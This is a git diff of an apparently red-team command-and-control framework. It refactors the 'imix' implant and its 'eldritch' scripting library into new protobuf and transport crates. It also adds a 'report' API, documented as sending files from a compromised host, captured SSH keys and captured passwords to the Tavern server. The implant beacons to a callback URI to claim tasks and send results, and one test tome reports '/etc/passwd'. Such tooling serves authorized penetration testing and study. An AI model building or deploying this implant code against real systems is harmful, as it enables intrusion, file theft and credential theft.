diff --git a/docs/_docs/user-guide/eldritch.md b/docs/_docs/user-guide/eldritch.md
index 457b981b5..48d0b7c29 100644
--- a/docs/_docs/user-guide/eldritch.md
+++ b/docs/_docs/user-guide/eldritch.md
@@ -90,6 +90,7 @@ It currently contains seven modules:
- `file` - Used to interact with files on the system.
- `pivot` - Used to identify and move between systems.
- `process` - Used to interact with processes on the system.
+- `report` - Structured data reporting capabilities.
- `sys` - General system capabilities can include loading libraries, or information about the current context.
- `time` - General functions for obtaining and formatting time, also add delays into code.
@@ -635,6 +636,36 @@ The process.netstat method returns all information on TCP, UDP, and Unix
---
+## Report
+
+The report library is designed to enable reporting structured data to Tavern. It's API is still in the active development phase, so **future versions of Eldritch may break tomes that rely on this API**.
+
+### report.file
+
+`report.file(path: str) -> None`
+
+Reports a file from the host that an Eldritch Tome is being evaluated on (e.g. a compromised system) to Tavern. It has a 1GB size limit, and will report the file in 1MB chunks. This process happens asynchronously, so after `report.file()` returns **there are no guarantees about when this file will be reported**. This means that if you delete the file immediately after reporting it, it may not be reported at all (race condition).
+
+### report.process_list
+
+`report.process_list(list: List) -> None`
+
+Reports a snapshot of the currently running processes on the host system. This should only be called with the entire process list (e.g. from calling `process.list()`), as it will replace Tavern's current list of processes for the host with this new snapshot.
+
+### report.ssh_key
+
+`report.ssh_key(username: str, key: str) -> None`
+
+Reports a captured SSH Key credential to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on.
+
+### report.user_password
+
+`report.user_password(username: str, password: str) -> None`
+
+Reports a captured username & password combination to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on.
+
+---
+
## Sys
### sys.dll_inject
diff --git a/implants/Cargo.toml b/implants/Cargo.toml
index d956c0fe6..9fd992446 100644
--- a/implants/Cargo.toml
+++ b/implants/Cargo.toml
@@ -1,8 +1,12 @@
[workspace]
-members = ["imix", "golem", "lib/eldritch", "lib/c2"]
+members = ["imix", "golem", "lib/eldritch", "lib/transport", "lib/pb"]
resolver = "2"
[workspace.dependencies]
+transport = { path = "./lib/transport" }
+eldritch = { path = "./lib/eldritch" }
+pb = { path = "./lib/pb" }
+
aes = "0.8.3"
allocative = "0.3.2"
allocative_derive = "0.3.2"
@@ -15,7 +19,6 @@ chrono = "0.4.24"
clap = "3.2.23"
default-net = "0.13.1"
derive_more = "0.99.17"
-eldritch = { path = "./lib/eldritch" }
eval = "0.4.3"
flate2 = "1.0.24"
gazebo = "0.8.1"
@@ -29,6 +32,7 @@ itertools = "0.10"
lsp-types = "0.93.0"
log = "0.4.20"
md5 = "0.7.0"
+mockall = "0.12.1"
netstat2 = "0.9.1"
network-interface = "1.0.1"
nix = "0.26.1"
@@ -58,8 +62,6 @@ structopt = "0.3.23"
sys-info = "0.9.1"
sysinfo = "0.29.7"
tar = "0.4.38"
-tonic-build = "0.10"
-c2 = { path = "./lib/c2" }
tempfile = "3.3.0"
tera = "1.17.1"
thiserror = "1.0.30"
@@ -67,6 +69,8 @@ tokio = "1.19.1"
tokio-stream = "0.1.9"
tokio-test = "*"
tonic = { git = "https://github.com/hyperium/tonic.git", rev = "07e4ee1" }
+tonic-build = "0.10"
+trait-variant = "0.1.1"
uuid = "1.5.0"
which = "4.4.2"
whoami = "1.3.0"
diff --git a/implants/golem/Cargo.toml b/implants/golem/Cargo.toml
index edbc862b4..fae4b0437 100644
--- a/implants/golem/Cargo.toml
+++ b/implants/golem/Cargo.toml
@@ -4,8 +4,10 @@ version = "0.0.5"
edition = "2021"
[dependencies]
-starlark_lsp = "0.12.0"
+pb = { workspace = true }
eldritch = { workspace = true, features = ["print_stdout"] }
+
+starlark_lsp = "0.12.0"
tokio = { workspace = true, features = ["macros"] }
clap = { workspace = true }
starlark = { workspace = true }
diff --git a/implants/golem/src/main.rs b/implants/golem/src/main.rs
index bd6c0d1a6..80ae18c95 100644
--- a/implants/golem/src/main.rs
+++ b/implants/golem/src/main.rs
@@ -5,7 +5,8 @@ mod inter;
use anyhow::{anyhow, Result};
use clap::{Arg, Command};
-use eldritch::pb::Tome;
+use eldritch::runtime::Message;
+use pb::eldritch::Tome;
use std::collections::HashMap;
use std::fs;
use std::process;
@@ -16,25 +17,34 @@ struct ParsedTome {
async fn run_tomes(tomes: Vec) -> Result> {
let mut runtimes = Vec::new();
+ let mut idx = 1;
for tome in tomes {
- let runtime = eldritch::start(Tome {
- eldritch: tome.eldritch,
- parameters: HashMap::new(),
- file_names: Vec::new(),
- })
+ let runtime = eldritch::start(
+ idx,
+ Tome {
+ eldritch: tome.eldritch,
+ parameters: HashMap::new(),
+ file_names: Vec::new(),
+ },
+ )
.await;
runtimes.push(runtime);
+ idx += 1;
}
let mut result = Vec::new();
for runtime in &mut runtimes {
runtime.finish().await;
- let mut out = runtime.collect_text();
- let errors = runtime.collect_errors();
- if !errors.is_empty() {
- return Err(anyhow!("tome execution failed: {:?}", errors));
+
+ for msg in runtime.messages() {
+ match msg {
+ Message::ReportText(m) => result.push(m.text()),
+ Message::ReportError(m) => {
+ return Err(anyhow!("{}", m.error));
+ }
+ _ => {}
+ }
}
- result.append(&mut out);
}
Ok(result)
diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml
index 47726f3f2..d74febc20 100644
--- a/implants/imix/Cargo.toml
+++ b/implants/imix/Cargo.toml
@@ -4,11 +4,14 @@ version = "0.0.5"
edition = "2021"
[dependencies]
+eldritch = { workspace = true, features = ["imix"] }
+pb = {workspace = true }
+transport = { workspace = true }
+
anyhow = { workspace = true }
chrono = { workspace = true , features = ["serde"] }
clap = { workspace = true }
default-net = { workspace = true }
-eldritch = { workspace = true, features = ["imix"] }
hyper = { workspace = true }
log = {workspace = true}
openssl = { workspace = true, features = ["vendored"] }
@@ -19,7 +22,6 @@ reqwest = { workspace = true, features = ["blocking", "stream", "json"] }
serde = { workspace = true, features = ["derive"] }
serde_json = {workspace = true}
sys-info = { workspace = true }
-c2 = { workspace = true }
tonic = { workspace = true }
tokio = { workspace = true, features = ["full"] }
uuid = { workspace = true, features = ["v4","fast-rng"] }
diff --git a/implants/imix/src/agent.rs b/implants/imix/src/agent.rs
index a483a9e48..de64ba1cc 100644
--- a/implants/imix/src/agent.rs
+++ b/implants/imix/src/agent.rs
@@ -1,41 +1,34 @@
use crate::{config::Config, task::TaskHandle};
use anyhow::Result;
-use c2::{
- pb::{Beacon, ClaimTasksRequest},
- Transport, GRPC,
-};
+use pb::c2::ClaimTasksRequest;
use std::time::{Duration, Instant};
+use transport::{Transport, GRPC};
/*
* Agent contains all relevant logic for managing callbacks to a c2 server.
* It is responsible for obtaining tasks, executing them, and returning their output.
*/
-pub struct Agent {
- info: Beacon,
- tavern: T,
+pub struct Agent {
+ cfg: Config,
handles: Vec,
}
-impl Agent {
+impl Agent {
/*
* Initialize an agent using the provided configuration.
*/
- pub async fn gen_from_config(cfg: Config) -> Result> {
- let tavern = GRPC::new(cfg.callback_uri).await?;
-
+ pub fn new(cfg: Config) -> Result {
Ok(Agent {
- info: cfg.info,
- tavern,
+ cfg,
handles: Vec::new(),
})
}
// Claim tasks and start their execution
- async fn claim_tasks(&mut self) -> Result<()> {
- let tasks = self
- .tavern
+ async fn claim_tasks(&mut self, mut tavern: GRPC) -> Result<()> {
+ let tasks = tavern
.claim_tasks(ClaimTasksRequest {
- beacon: Some(self.info.clone()),
+ beacon: Some(self.cfg.info.clone()),
})
.await?
.tasks;
@@ -51,7 +44,7 @@ impl Agent {
}
};
- let runtime = eldritch::start(tome).await;
+ let runtime = eldritch::start(task.id, tome).await;
self.handles.push(TaskHandle::new(task.id, runtime));
#[cfg(debug_assertions)]
@@ -61,19 +54,19 @@ impl Agent {
}
// Report task output, remove completed tasks
- async fn report(&mut self) -> Result<()> {
+ async fn report(&mut self, mut tavern: GRPC) -> Result<()> {
// Report output from each handle
let mut idx = 0;
while idx < self.handles.len() {
// Drop any handles that have completed
if self.handles[idx].is_finished() {
let mut handle = self.handles.remove(idx);
- handle.report(&mut self.tavern).await?;
+ handle.report(&mut tavern).await?;
continue;
}
// Otherwise report and increment
- self.handles[idx].report(&mut self.tavern).await?;
+ self.handles[idx].report(&mut tavern).await?;
idx += 1;
}
@@ -84,8 +77,9 @@ impl Agent {
* Callback once using the configured client to claim new tasks and report available output.
*/
pub async fn callback(&mut self) -> Result<()> {
- self.claim_tasks().await?;
- self.report().await?;
+ let transport = GRPC::new(self.cfg.callback_uri.clone())?;
+ self.claim_tasks(transport.clone()).await?;
+ self.report(transport.clone()).await?;
Ok(())
}
@@ -93,7 +87,7 @@ impl Agent {
/*
* Callback indefinitely using the configured client to claim new tasks and report available output.
*/
- pub async fn callback_loop(&mut self) {
+ pub async fn callback_loop(&mut self) -> Result<()> {
loop {
let start = Instant::now();
@@ -105,7 +99,7 @@ impl Agent {
}
};
- let interval = self.info.interval;
+ let interval = self.cfg.info.interval;
let delay = match interval.checked_sub(start.elapsed().as_secs()) {
Some(secs) => Duration::from_secs(secs),
None => Duration::from_secs(0),
diff --git a/implants/imix/src/config.rs b/implants/imix/src/config.rs
index de8265094..4f972d3c9 100644
--- a/implants/imix/src/config.rs
+++ b/implants/imix/src/config.rs
@@ -1,5 +1,5 @@
use crate::version::VERSION;
-use c2::pb::host::Platform;
+use pb::c2::host::Platform;
use std::{
fs::{self, File},
io::Write,
@@ -52,7 +52,7 @@ pub const RETRY_INTERVAL: &str = retry_interval!();
*/
#[derive(Debug, Clone)]
pub struct Config {
- pub info: c2::pb::Beacon,
+ pub info: pb::c2::Beacon,
pub callback_uri: String,
pub retry_interval: u64,
}
@@ -62,18 +62,18 @@ pub struct Config {
*/
impl Default for Config {
fn default() -> Self {
- let agent = c2::pb::Agent {
+ let agent = pb::c2::Agent {
identifier: format!("imix-v{}", VERSION),
};
- let host = c2::pb::Host {
+ let host = pb::c2::Host {
name: whoami::hostname(),
identifier: get_host_id(get_host_id_path()),
platform: get_host_platform() as i32,
primary_ip: get_primary_ip(),
};
- let info = c2::pb::Beacon {
+ let info = pb::c2::Beacon {
identifier: String::from(Uuid::new_v4()),
principal: whoami::username(),
interval: match CALLBACK_INTERVAL.parse::() {
@@ -155,7 +155,9 @@ fn get_host_id(file_path: String) -> String {
// Read Existing Host ID
let path = Path::new(file_path.as_str());
if path.exists() {
- if let Ok(host_id) = fs::read_to_string(path) { return host_id.trim().to_string() }
+ if let Ok(host_id) = fs::read_to_string(path) {
+ return host_id.trim().to_string();
+ }
}
// Generate New
diff --git a/implants/imix/src/install.rs b/implants/imix/src/install.rs
index ee35ecab6..7cf0801ad 100644
--- a/implants/imix/src/install.rs
+++ b/implants/imix/src/install.rs
@@ -1,6 +1,7 @@
use anyhow::{anyhow, Result};
-use eldritch::pb::Tome;
-use std::collections::HashMap;
+use eldritch::runtime::Message;
+use pb::eldritch::Tome;
+use std::{collections::HashMap, fmt::Write};
pub async fn install() {
#[cfg(debug_assertions)]
@@ -31,17 +32,31 @@ pub async fn install() {
// Run tome
#[cfg(debug_assertions)]
log::info!("running tome {embedded_file_path}");
- let mut runtime = eldritch::start(Tome {
- eldritch,
- parameters: HashMap::new(),
- file_names: Vec::new(),
- })
+ let mut runtime = eldritch::start(
+ 0,
+ Tome {
+ eldritch,
+ parameters: HashMap::new(),
+ file_names: Vec::new(),
+ },
+ )
.await;
runtime.finish().await;
- let _output = runtime.collect_text().join("");
#[cfg(debug_assertions)]
- log::info!("{_output}");
+ let mut output = String::new();
+
+ #[cfg(debug_assertions)]
+ for msg in runtime.collect() {
+ if let Message::ReportText(m) = msg {
+ if let Err(err) = output.write_str(m.text().as_str()) {
+ #[cfg(debug_assertions)]
+ log::error!("failed to write text: {}", err);
+ }
+ }
+ }
+ #[cfg(debug_assertions)]
+ log::info!("{output}");
}
}
}
diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs
index 5ec4812a4..e530f864c 100644
--- a/implants/imix/src/main.rs
+++ b/implants/imix/src/main.rs
@@ -38,9 +38,8 @@ async fn main() {
}
async fn run(cfg: Config) -> Result<()> {
- let mut agent = Agent::gen_from_config(cfg).await?;
-
- agent.callback_loop().await;
+ let mut agent = Agent::new(cfg)?;
+ agent.callback_loop().await?;
Ok(())
}
diff --git a/implants/imix/src/task.rs b/implants/imix/src/task.rs
index 8aca1a5f6..01fdee992 100644
--- a/implants/imix/src/task.rs
+++ b/implants/imix/src/task.rs
@@ -1,14 +1,6 @@
use anyhow::Result;
-use c2::{
- pb::{
- DownloadFileRequest, DownloadFileResponse, ReportCredentialRequest,
- ReportProcessListRequest, ReportTaskOutputRequest, TaskError, TaskOutput,
- },
- Transport,
-};
-use eldritch::FileRequest;
-use std::sync::mpsc::channel;
-use tokio::task::JoinHandle;
+use eldritch::runtime::messages::Dispatcher;
+use transport::Transport;
/*
* Task handle is responsible for tracking a running task and reporting it's output.
@@ -16,7 +8,7 @@ use tokio::task::JoinHandle;
pub struct TaskHandle {
id: i64,
runtime: eldritch::Runtime,
- download_handles: Vec>,
+ pool: tokio::task::JoinSet<()>,
}
impl TaskHandle {
@@ -25,178 +17,47 @@ impl TaskHandle {
TaskHandle {
id,
runtime,
- download_handles: Vec::new(),
+ pool: tokio::task::JoinSet::new(),
}
}
// Returns true if the task has been completed, false otherwise.
pub fn is_finished(&self) -> bool {
- // Check File Downloads
- for handle in &self.download_handles {
- if !handle.is_finished() {
- return false;
- }
+ // Check Report Pool
+ if !self.pool.is_empty() {
+ return false;
}
- // Check Task
+ // Check Tome Evaluation
self.runtime.is_finished()
}
// Report any available task output.
// Also responsible for downloading any files requested by the eldritch runtime.
- pub async fn report(&mut self, tavern: &mut impl Transport) -> Result<()> {
- let exec_started_at = self.runtime.get_exec_started_at();
- let exec_finished_at = self.runtime.get_exec_finished_at();
- let text = self.runtime.collect_text();
- let err = self.runtime.collect_errors().pop().map(|err| TaskError {
- msg: err.to_string(),
- });
-
- #[cfg(debug_assertions)]
- log::info!(
- "collected task output: task_id={}, exec_started_at={}, exec_finished_at={}, output={}, error={}",
- self.id,
- match exec_started_at.clone() {
- Some(t) => t.to_string(),
- None => String::from(""),
- },
- match exec_finished_at.clone() {
- Some(t) => t.to_string(),
- None => String::from(""),
- },
- text.join(""),
- match err.clone() {
- Some(_err) => _err.msg,
- None => String::from(""),
- }
- );
-
- if !text.is_empty()
- || err.is_some()
- || exec_started_at.is_some()
- || exec_finished_at.is_some()
- {
+ pub async fn report(&mut self, tavern: &mut (impl Transport + 'static)) -> Result<()> {
+ let messages = self.runtime.collect();
+ for msg in messages {
+ // Copy values for logging
#[cfg(debug_assertions)]
- log::info!("reporting task output: task_id={}", self.id);
-
- tavern
- .report_task_output(ReportTaskOutputRequest {
- output: Some(TaskOutput {
- id: self.id,
- output: text.join(""),
- error: err,
- exec_started_at,
- exec_finished_at,
- }),
- })
- .await?;
- }
-
- // Report Credential
- let credentials = self.runtime.collect_credentials();
- for cred in credentials {
- #[cfg(debug_assertions)]
- log::info!("reporting credential (task_id={}): {:?}", self.id, cred);
-
- match tavern
- .report_credential(ReportCredentialRequest {
- task_id: self.id,
- credential: Some(cred),
- })
- .await
- {
- Ok(_) => {}
- Err(_err) => {
- #[cfg(debug_assertions)]
- log::error!(
- "failed to report credential (task_id={}): {}",
- self.id,
- _err
- );
- }
- }
- }
-
- // Report Process Lists
- let process_lists = self.runtime.collect_process_lists();
- for list in process_lists {
+ let id = self.id;
#[cfg(debug_assertions)]
- log::info!("reporting process list: len={}", list.list.len());
+ let msg_str = msg.to_string();
- match tavern
- .report_process_list(ReportProcessListRequest {
- task_id: self.id,
- list: Some(list),
- })
- .await
- {
- Ok(_) => {}
- Err(_err) => {
- #[cfg(debug_assertions)]
- log::error!(
- "failed to report process list: task_id={}: {}",
- self.id,
- _err
- );
- }
- }
- }
-
- // Download Files
- let file_reqs = self.runtime.collect_file_requests();
- for req in file_reqs {
- let name = req.name();
- match self.start_file_download(tavern, req).await {
- Ok(_) => {
- #[cfg(debug_assertions)]
- log::info!("started file download: task_id={}, name={}", self.id, name);
- }
- Err(_err) => {
- #[cfg(debug_assertions)]
- log::error!(
- "failed to download file: task_id={}, name={}: {}",
- self.id,
- name,
- _err
- );
- }
- }
- }
- Ok(())
- }
-
- async fn start_file_download(
- &mut self,
- tavern: &mut impl Transport,
- req: FileRequest,
- ) -> Result<()> {
- let (tx, rx) = channel::();
-
- tavern
- .download_file(DownloadFileRequest { name: req.name() }, tx)
- .await?;
-
- let handle = tokio::task::spawn_blocking(move || {
- for r in rx {
- match req.send_chunk(r.chunk) {
- Ok(_) => {}
+ // Each message is dispatched in it's own tokio task, managed by this task handle's pool.
+ let mut t = tavern.clone();
+ self.pool.spawn(async move {
+ match msg.dispatch(&mut t).await {
+ Ok(_) => {
+ #[cfg(debug_assertions)]
+ log::info!("message success (task_id={},msg={})", id, msg_str);
+ }
Err(_err) => {
#[cfg(debug_assertions)]
- log::error!(
- "failed to send downloaded file chunk: {}: {}",
- req.name(),
- _err
- );
-
- return;
+ log::error!("message failed (task_id={},msg={}): {}", id, msg_str, _err);
}
}
- }
- #[cfg(debug_assertions)]
- log::info!("file download completed: {}", req.name());
- });
-
- self.download_handles.push(handle);
+ });
+ }
Ok(())
}
}
diff --git a/implants/lib/c2/src/lib.rs b/implants/lib/c2/src/lib.rs
deleted file mode 100644
index dbe228b3a..000000000
--- a/implants/lib/c2/src/lib.rs
+++ /dev/null
@@ -1,8 +0,0 @@
-pub mod pb {
- include!("generated/c2.rs");
-}
-
-mod grpc;
-mod transport;
-pub use grpc::GRPC;
-pub use transport::Transport;
diff --git a/implants/lib/eldritch/Cargo.toml b/implants/lib/eldritch/Cargo.toml
index a460d1311..b659ac002 100644
--- a/implants/lib/eldritch/Cargo.toml
+++ b/implants/lib/eldritch/Cargo.toml
@@ -9,6 +9,9 @@ imix = []
print_stdout = []
[dependencies]
+pb = { workspace = true }
+transport = { workspace = true }
+
aes = { workspace = true }
allocative = { workspace = true }
allocative_derive = { workspace = true }
@@ -74,6 +77,7 @@ winreg = { workspace = true }
pnet = { workspace = true }
[dev-dependencies]
+transport = { workspace = true, features = ["mock"]}
httptest = { workspace = true }
uuid = { workspace = true, features = ["v4"] }
diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs
index f6cff00ee..7ea4628ed 100644
--- a/implants/lib/eldritch/build.rs
+++ b/implants/lib/eldritch/build.rs
@@ -1,7 +1,6 @@
use anyhow::Result;
-use std::env;
-use std::path::PathBuf;
-use which::which;
+
+
#[cfg(all(target_os = "windows", debug_assertions))]
fn build_bin_create_file_dll() {
@@ -102,35 +101,8 @@ fn set_host_family() {
println!("cargo:rustc-cfg=host_family=\"{}\"", HOST_FAMILY);
}
-fn build_proto() -> Result<()> {
- match env::var_os("PROTOC")
- .map(PathBuf::from)
- .or_else(|| which("protoc").ok())
- {
- Some(_) => println!("Found protoc, protos will be generated"),
- None => {
- println!("WARNING: Failed to locate protoc, protos will not be generated");
- return Ok(());
- }
- }
-
- match tonic_build::configure()
- .out_dir("./src/generated/")
- .build_client(false)
- .build_server(false)
- .compile(&["eldritch.proto"], &["../../../tavern/internal/c2/proto"])
- {
- Err(err) => {
- println!("WARNING: Failed to compile protos: {}", err);
- }
- Ok(_) => println!("Generating protos"),
- }
- Ok(())
-}
-
fn main() -> Result<()> {
set_host_family();
- build_proto()?;
#[cfg(all(target_os = "windows", debug_assertions))]
build_bin_create_file_dll();
#[cfg(target_os = "windows")]
diff --git a/implants/lib/eldritch/src/assets/copy_impl.rs b/implants/lib/eldritch/src/assets/copy_impl.rs
index 03ef2e96e..8a7244ea1 100644
--- a/implants/lib/eldritch/src/assets/copy_impl.rs
+++ b/implants/lib/eldritch/src/assets/copy_impl.rs
@@ -1,8 +1,10 @@
-use crate::runtime::Environment;
+use crate::runtime::{messages::FetchAssetMessage, Environment};
use anyhow::{Context, Result};
+use pb::c2::FetchAssetResponse;
use starlark::{eval::Evaluator, values::list::ListRef};
use std::fs::OpenOptions;
use std::io::Write;
+use std::sync::mpsc::channel;
use std::{fs, sync::mpsc::Receiver};
fn copy_local(src: String, dst: String) -> Result<()> {
@@ -17,7 +19,7 @@ fn copy_local(src: String, dst: String) -> Result<()> {
}
}
-fn copy_remote(rx: Receiver>, dst_path: String) -> Result<()> {
+fn copy_remote(rx: Receiver, dst_path: String) -> Result<()> {
// Truncate file
let mut dst = OpenOptions::new()
.create(true)
@@ -39,8 +41,8 @@ fn copy_remote(rx: Receiver>, dst_path: String) -> Result<()> {
.context(format!("failed to open file for writing: {}", &dst_path))?;
// Listen for downloaded chunks and write them
- for chunk in rx {
- dst.write_all(&chunk)
+ for resp in rx {
+ dst.write_all(&resp.chunk)
.context(format!("failed to write file chunk: {}", &dst_path))?;
}
@@ -61,9 +63,10 @@ pub fn copy(starlark_eval: &Evaluator<'_, '_>, src: String, dst: String) -> Resu
if tmp_list.contains(&src_value.to_value()) {
let env = Environment::from_extra(starlark_eval.extra)?;
- let file_reciever = env.request_file(src)?;
+ let (tx, rx) = channel();
+ env.send(FetchAssetMessage { name: src, tx })?;
- return copy_remote(file_reciever, dst);
+ return copy_remote(rx, dst);
}
}
copy_local(src, dst)
@@ -71,7 +74,12 @@ pub fn copy(starlark_eval: &Evaluator<'_, '_>, src: String, dst: String) -> Resu
#[cfg(test)]
mod tests {
- use crate::assets::copy_impl::copy_remote;
+ use crate::{
+ assets::copy_impl::copy_remote,
+ runtime::messages::{FetchAssetMessage, Message},
+ };
+ use pb::c2::FetchAssetResponse;
+ use pb::eldritch::Tome;
use std::sync::mpsc::channel;
use std::{collections::HashMap, io::prelude::*};
use tempfile::NamedTempFile;
@@ -82,16 +90,19 @@ mod tests {
let mut tmp_file_dst = NamedTempFile::new()?;
let path_dst = String::from(tmp_file_dst.path().to_str().unwrap());
- let (ch_data, data) = channel::>();
- let handle = tokio::task::spawn_blocking(|| {
- copy_remote(data, path_dst).expect("copy_remote failed")
- });
+ let (tx, rx) = channel();
+ let handle =
+ tokio::task::spawn_blocking(|| copy_remote(rx, path_dst).expect("copy_remote failed"));
- ch_data.send("Hello from a remote asset".as_bytes().to_vec())?;
- ch_data.send("Goodbye from a remote asset".as_bytes().to_vec())?;
+ tx.send(FetchAssetResponse {
+ chunk: "Hello from a remote asset".as_bytes().to_vec(),
+ })?;
+ tx.send(FetchAssetResponse {
+ chunk: "Goodbye from a remote asset".as_bytes().to_vec(),
+ })?;
// Drop the Sender, to indicate no more data will be sent (channel closed)
- drop(ch_data);
+ drop(tx);
handle.await?;
@@ -109,12 +120,15 @@ mod tests {
let path_dst = String::from(tmp_file_dst.path().to_str().unwrap());
// Run Eldritch (in it's own thread)
- let mut runtime = crate::start(crate::pb::Tome {
- eldritch: r#"assets.copy("test_tome/test_file.txt", input_params['test_output'])"#
- .to_owned(),
- parameters: HashMap::from([("test_output".to_string(), path_dst)]),
- file_names: Vec::from(["test_tome/test_file.txt".to_string()]),
- })
+ let mut runtime = crate::start(
+ 123,
+ Tome {
+ eldritch: r#"assets.copy("test_tome/test_file.txt", input_params['test_output'])"#
+ .to_owned(),
+ parameters: HashMap::from([("test_output".to_string(), path_dst)]),
+ file_names: Vec::from(["test_tome/test_file.txt".to_string()]),
+ },
+ )
.await;
// We now mock the agent, looping until eldritch requests a file
@@ -122,22 +136,35 @@ mod tests {
loop {
// The runtime only returns the data that is currently available
// So this may return an empty vec if our eldritch tokio task has not yet been scheduled
- let mut reqs = runtime.collect_file_requests();
-
- // If no file request is yet available, just continue looping
- if reqs.is_empty() {
+ let messages = runtime.collect();
+ let mut fetch_asset_msgs: Vec<&FetchAssetMessage> = messages
+ .iter()
+ .filter_map(|m| match m {
+ Message::FetchAsset(msg) => Some(msg),
+ _ => None,
+ })
+ .collect();
+
+ // If no asset request is yet available, just continue looping
+ if fetch_asset_msgs.is_empty() {
continue;
}
- // Ensure the right file was requested
- assert!(reqs.len() == 1);
- let req = reqs.pop().expect("no file request received!");
- assert!(req.name() == "test_tome/test_file.txt");
+ // Ensure the right asset was requested
+ assert!(fetch_asset_msgs.len() == 1);
+ let msg = fetch_asset_msgs.pop().expect("no asset request received!");
+ assert!(msg.name == "test_tome/test_file.txt");
// Now, we provide the file to eldritch (as a series of chunks)
- req.send_chunk("chunk1\n".as_bytes().to_vec())
+ msg.tx
+ .send(FetchAssetResponse {
+ chunk: "chunk1\n".as_bytes().to_vec(),
+ })
.expect("failed to send file chunk to eldritch");
- req.send_chunk("chunk2\n".as_bytes().to_vec())
+ msg.tx
+ .send(FetchAssetResponse {
+ chunk: "chunk2\n".as_bytes().to_vec(),
+ })
.expect("failed to send file chunk to eldritch");
// We've finished providing the file, so we stop looping
@@ -169,18 +196,26 @@ mod tests {
#[cfg(target_os = "windows")]
let path_src = "exec_script/hello_world.bat".to_string();
- let runtime = crate::start(crate::pb::Tome {
- eldritch: r#"assets.copy(input_params['src_file'], input_params['test_output'])"#
- .to_owned(),
- parameters: HashMap::from([
- ("src_file".to_string(), path_src),
- ("test_output".to_string(), path_dst),
- ]),
- file_names: Vec::from(["test_tome/test_file.txt".to_string()]),
- })
+ let runtime = crate::start(
+ 123,
+ Tome {
+ eldritch: r#"assets.copy(input_params['src_file'], input_params['test_output'])"#
+ .to_owned(),
+ parameters: HashMap::from([
+ ("src_file".to_string(), path_src),
+ ("test_output".to_string(), path_dst),
+ ]),
+ file_names: Vec::from(["test_tome/test_file.txt".to_string()]),
+ },
+ )
.await;
- assert!(runtime.collect_errors().is_empty()); // No errors even though the remote asset is inaccessible
+ let messages = runtime.collect();
+ let errors = messages
+ .iter()
+ .filter(|x| matches!(x, Message::ReportError(_)))
+ .collect::>();
+ assert!(errors.is_empty());
let mut contents = String::new();
tmp_file_dst.read_to_string(&mut contents)?;
diff --git a/implants/lib/eldritch/src/lib.rs b/implants/lib/eldritch/src/lib.rs
index 30f090b6d..a1181246e 100644
--- a/implants/lib/eldritch/src/lib.rs
+++ b/implants/lib/eldritch/src/lib.rs
@@ -4,15 +4,11 @@ pub mod file;
pub mod pivot;
pub mod process;
mod report;
-mod runtime;
+pub mod runtime;
pub mod sys;
pub mod time;
-pub mod pb {
- include!("generated/eldritch.rs");
-}
-
-pub use runtime::{start, FileRequest, Runtime};
+pub use runtime::{start, Runtime};
#[allow(unused_imports)]
use starlark::const_frozen_string;
diff --git a/implants/lib/eldritch/src/report/file_impl.rs b/implants/lib/eldritch/src/report/file_impl.rs
new file mode 100644
index 000000000..5bdcbed1e
--- /dev/null
+++ b/implants/lib/eldritch/src/report/file_impl.rs
@@ -0,0 +1,58 @@
+use crate::runtime::{messages::ReportFileMessage, Environment};
+use anyhow::Result;
+
+pub fn file(env: &Environment, path: String) -> Result<()> {
+ env.send(ReportFileMessage { id: env.id(), path })?;
+ Ok(())
+}
+
+#[cfg(test)]
+mod test {
+ use crate::runtime::Message;
+ use pb::eldritch::Tome;
+ use std::collections::HashMap;
+
+ macro_rules! test_cases {
+ ($($name:ident: $value:expr,)*) => {
+ $(
+ #[tokio::test]
+ async fn $name() {
+ let tc: TestCase = $value;
+
+ // Run Eldritch (until finished)
+ let mut runtime = crate::start(tc.id, tc.tome).await;
+ runtime.finish().await;
+
+ // Read Messages
+ let mut found = false;
+ for msg in runtime.messages() {
+ if let Message::ReportFile(m) = msg {
+ assert_eq!(tc.id, m.id);
+ assert_eq!(tc.want_path, m.path);
+ found = true;
+ }
+ }
+ assert!(found);
+ }
+ )*
+ }
+ }
+
+ struct TestCase {
+ pub id: i64,
+ pub tome: Tome,
+ pub want_path: String,
+ }
+
+ test_cases! {
+ one_file: TestCase{
+ id: 123,
+ tome: Tome{
+ eldritch: String::from(r#"report.file(path="/etc/passwd")"#),
+ parameters: HashMap::new(),
+ file_names: Vec::new(),
+ },
+ want_path: String::from("/etc/passwd"),
+ },
+ }
+}
diff --git a/implants/lib/eldritch/src/report/mod.rs b/implants/lib/eldritch/src/report/mod.rs
index 02d585a09..5443497bf 100644
--- a/implants/lib/eldritch/src/report/mod.rs
+++ b/implants/lib/eldritch/src/report/mod.rs
@@ -1,3 +1,4 @@
+mod file_impl;
mod process_list_impl;
mod ssh_key_impl;
mod user_password_impl;
@@ -23,21 +24,32 @@ crate::eldritch_lib!(ReportLibrary, "report_library");
#[rustfmt::skip]
#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)]
fn methods(builder: &mut MethodsBuilder) {
+ #[allow(unused_variables)]
+ fn file(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, path: String) -> anyhow::Result {
+ let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?;
+ file_impl::file(env, path)?;
+ Ok(NoneType{})
+ }
+
+
#[allow(unused_variables)]
fn process_list(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, process_list: UnpackList>) -> anyhow::Result {
- process_list_impl::process_list(starlark_eval, process_list.items)?;
+ let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?;
+ process_list_impl::process_list(env, process_list.items)?;
Ok(NoneType{})
}
#[allow(unused_variables)]
fn ssh_key(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, key: String) -> anyhow::Result {
- ssh_key_impl::ssh_key(starlark_eval, username, key)?;
+ let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?;
+ ssh_key_impl::ssh_key(env, username, key)?;
Ok(NoneType{})
}
#[allow(unused_variables)]
fn user_password(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, password: String) -> anyhow::Result {
- user_password_impl::user_password(starlark_eval, username, password)?;
+ let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?;
+ user_password_impl::user_password(env, username, password)?;
Ok(NoneType{})
}
}
